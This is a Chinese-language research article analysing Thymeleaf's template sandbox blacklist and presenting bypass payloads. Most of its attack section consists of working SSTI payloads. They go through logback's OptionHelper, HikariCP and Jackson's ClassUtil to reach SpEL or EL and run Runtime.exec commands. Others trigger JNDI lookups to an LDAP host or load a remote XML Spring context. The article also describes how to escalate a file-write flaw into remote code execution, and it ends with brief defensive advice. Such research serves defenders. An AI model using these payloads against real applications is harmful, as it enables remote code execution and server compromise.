最新版本thymeleaf防护机制研究及其利用payload
字数 1497 2025-08-22 22:47:39
Thymeleaf 防护机制研究及利用 Payload 分析
1. Thymeleaf 模板引擎安全背景
Thymeleaf 是 Java 的一个模板引擎,在 Web 安全领域已有较多研究。模板引擎本身设计用于在渲染 HTML 标签时执行代码,因此各模板引擎都实施了安全限制措施。Thymeleaf 主要采用黑名单机制而非白名单来限制危险操作。
2. Thymeleaf 沙箱防护机制分析
2.1 防护机制核心
Thymeleaf 的防护逻辑主要集中在 org.thymeleaf.util.ExpressionUtils#isTypeAllowed 方法中,该方法通过以下步骤进行安全检查:
- 包名规范化:首先对要执行的类包名进行规范化处理
- 黑名单检查:调用
isTypeBlockedForTypeReference方法进行黑名单验证
2.2 黑名单规则详解
Thymeleaf 的黑名单分为两部分:
2.2.1 主要黑名单 (isTypeBlockedForAllPurposes)
-
包名前缀规则:
- 非
c,j,o,s开头的包可以直接通过 com.sun.开头的包会被拦截
- 非
-
Java 包规则:
java.开头的包中,只有java.time可以通过,其他都会被拦截
-
完整黑名单列表:
"jakarta." "org.xml.sax." "sun." "org.ietf.jgss." "javax." "org.omg." "com.sun." "org.w3c.dom." "jdk." "java."
2.2.2 次要黑名单
-
包名前缀规则:
- 非
c,n,j,o开头的包可以通过 com.squareup.javapoet.会被拦截
- 非
-
完整黑名单列表:
"com.squareup.javapoet." "net.bytebuddy." "net.sf.cglib." "javassist." "javax0.geci." "org.apache.bcel." "org.aspectj." "org.javassist." "org.mockito." "org.objectweb.asm." "org.objenesis." "org.springframework.aot." "org.springframework.asm." "org.springframework.cglib." "org.springframework.javapoet." "org.springframework.objenesis." "org.springframework.web." "org.springframework.webflow." "org.springframework.context." "org.springframework.beans." "org.springframework.aspects." "org.springframework.aop." "org.springframework.expression." "org.springframework.util."
3. 绕过防护的 Payload 分析
3.1 使用 logback-core 的 OptionHelper
依赖:Spring 默认引入 logback-core
Payload:
[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName(
"org.springframework.expression.spel.standard.SpelExpressionParser",
"".getClass().getSuperclass(),
T(ch.qos.logback.core.util.OptionHelper).getClassLoader()
).parseExpression(
"T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('whoami')"
).getValue()}]]
原理:
- 使用
OptionHelper.instantiateByClassName静态方法实例化SpelExpressionParser - 然后调用
parseExpression执行任意 SPEL 表达式
3.2 使用 HikariCP 的 HikariConfig
依赖:HikariCP JDBC 连接池
Payload (JNDI 注入):
[[${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389")}]]
Payload (远程加载 XML):
[[${T(com.zaxxer.hikari.util.UtilityElf).createInstance(
"org.springframework.context.support.ClassPathXmlApplicationContext",
"".getClass().forName("org.springframework.context.support.ClassPathXmlApplicationContext"),
"http://ip/poc.xml"
)}]]
Payload (EL 表达式执行):
[[${T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
T(com.zaxxer.hikari.util.UtilityElf).createInstance(
'jakarta.el.ELProcessor',
T(ch.qos.logback.core.util.Loader).loadClass('jakarta.el.ELProcessor')
),
'eval',
new java.lang.String[]{
'"".getClass().forName("jdk.jshell.JShell").getMethods()[6].invoke(
"".getClass().forName("jdk.jshell.JShell")
).eval("java.lang.Runtime.getRuntime().exec(\"calc\")")'
},
T(org.apache.el.util.ReflectionUtil).toTypeArray(new java.lang.String[]{"java.lang.String"})
)}]]
3.3 使用 Jackson 的 ClassUtil
依赖:Jackson 数据绑定库
Payload:
[[${T(com.fasterxml.jackson.databind.util.ClassUtil).createInstance(
"".getClass().forName('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser'),
true
).parseExpression(
"T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')"
).getValue()}]]
原理:
- 使用
ClassUtil.createInstance方法实例化SpelExpressionParser - 然后调用
parseExpression执行任意 SPEL 表达式
4. 利用场景分析
4.1 文件写入漏洞升级为 RCE
在以下场景中,Thymeleaf 模板注入特别有用:
-
任意文件写入/上传漏洞:
- 相比写入定时任务或 SSH 公钥,模板注入更通用
- 不受进程权限限制
- 对脏字符容忍度高
-
限制条件:
- 在 JAR 打包场景下效果有限,除非能找到任意文件包含漏洞
4.2 其他触发模式
虽然存在多种 Thymeleaf SSTI 触发模式,但最终问题都转化为如何实现 Thymeleaf RCE。
5. 防御建议
- 输入验证:严格验证用户输入的模板内容
- 依赖管理:及时更新相关依赖库
- 权限控制:限制模板引擎的执行权限
- 日志监控:监控可疑的模板渲染行为
6. 研究价值
从黑名单中可以学习到一些恶意类,这对挖掘其他组件的漏洞也有帮助。研究这些绕过技术有助于完善防护措施。